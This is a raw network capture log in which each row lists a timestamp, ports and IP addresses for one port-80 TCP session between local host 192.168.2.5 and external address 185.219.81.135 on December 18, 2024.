Dec 18, 2024 22:02:41.027899027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.027934074 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.027966022 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.029210091 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.029226065 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.029273987 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.029288054 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.030364990 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.030380964 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.030421019 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.030431986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.031496048 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.031549931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.031608105 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.031650066 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.032783031 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.032841921 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.032847881 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.032919884 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.034032106 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.034084082 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.034120083 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.034167051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.035291910 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.035348892 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.035375118 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.036514997 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.036560059 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.036602974 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.036674023 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.036715984 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.037631035 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.037674904 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.037844896 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.037892103 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.039098978 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.039160967 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.039170980 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.039213896 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.040190935 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.040239096 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.040369034 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.040414095 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.041372061 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.041425943 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.041563988 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.041619062 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.042629004 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.042686939 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.042800903 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.043910980 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.043958902 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.044203997 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.044260025 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.045186043 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.045284986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.045326948 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.045516968 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.046459913 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.046475887 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.046515942 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.046528101 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.047584057 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.047640085 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.047772884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.047827959 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.048820972 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.048878908 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.048970938 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.049133062 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.050134897 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.050190926 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.050203085 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.050251007 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.051367044 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.051434994 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.051531076 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.051579952 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.052650928 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.052764893 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.052777052 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.052815914 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.053751945 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.053930998 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.053981066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.054042101 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.055177927 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.055195093 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.055232048 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.055243015 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.056314945 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.056370974 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.056375980 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.056427002 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.057995081 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.060173988 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.099033117 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.099251032 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.099319935 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.099353075 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.099459887 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.099514008 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.100634098 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.100830078 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.100878000 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.101748943 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.101797104 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.138211012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.257756948 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.529036045 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.529074907 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.529282093 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.529560089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.529647112 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.529848099 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.529911041 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.530008078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.530926943 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.530983925 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.531151056 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.531203032 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.532247066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.532310009 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.532336950 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.532413960 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.533500910 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.533552885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.533612967 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.533663988 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.534816027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.534832001 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.534868002 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.534878969 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.535948992 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.536005020 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.536125898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.536175966 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.537158966 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.537209988 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.537368059 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.537420034 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.538486958 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.538532019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.538547039 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.538630962 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.539697886 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.539755106 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.539798975 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.539880037 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.540865898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.540920019 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.541223049 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.541275024 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.542325974 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.542342901 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.542380095 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.542392969 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.543613911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.543672085 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.543703079 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.543776035 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.544888020 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.544950962 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.544992924 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.545073986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.546235085 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.546288013 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.546380043 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.546431065 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.547266960 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.547331095 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.547363997 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.547415018 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.548305988 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.548358917 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.548464060 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.548513889 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.549582005 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.549637079 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.549802065 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.549879074 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.550879002 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.550923109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.550931931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.550968885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.552134991 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.552349091 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.552412987 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.553381920 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.553504944 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.553565979 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.554580927 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.554639101 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.554757118 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.554807901 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.555712938 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.555763960 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.555885077 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.555933952 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.557045937 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.557096004 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.557169914 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.557219982 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.558250904 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.558303118 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.558382988 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.558429956 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.559453964 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.559504986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.559595108 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.559644938 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.560684919 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.560735941 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.560830116 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.560879946 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.562119961 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.562134981 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.562186003 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.563160896 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.563216925 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.563361883 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.563416958 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.564490080 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.564541101 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.564615965 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.564665079 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.565690041 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.565741062 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.565890074 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.565936089 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.567107916 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.567159891 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.567291975 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.567339897 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.568152905 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.568689108 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.568751097 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.569427013 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.569777966 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.569839954 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.570585012 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.570647001 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.607337952 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.607549906 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.607611895 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.607881069 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.607938051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.608098984 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.608150959 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.608278036 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.608385086 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.609383106 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.609448910 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.609584093 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.609632015 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.610656977 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.610709906 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.610749006 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.610795975 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.611955881 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.612008095 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.612070084 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.612118006 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.613090038 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.613140106 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.613282919 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.613329887 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.614336967 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.614391088 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.614450932 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.614590883 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.615554094 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.615608931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.615679026 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.615736008 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.616791964 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.616866112 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.616938114 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.617000103 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.618246078 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.618449926 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.618498087 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.619334936 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.619565964 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.619613886 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.620625019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.620673895 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.620718956 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.620785952 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.621754885 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.621804953 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.621907949 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.622183084 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.622991085 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.623047113 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.623117924 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.623167038 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.624228954 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.624283075 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.624376059 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.624823093 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.625502110 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.625550985 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.625706911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.625756025 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.626837015 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.626882076 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.626939058 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.626987934 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.627979994 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.628036022 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.628081083 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.628128052 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.629272938 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.629323006 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.629405975 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.629453897 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.630485058 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.630536079 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.630570889 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.630620956 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.631653070 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.633271933 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.721668959 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.721894979 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.721976042 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.722119093 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.722285986 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.722484112 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.723198891 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.723257065 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.723273039 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.724304914 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.724373102 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.724458933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.724536896 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.725538015 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.725771904 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:41.725827932 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:41.726840019 CET	80	49764	185.219.81.135	192.168.2.5
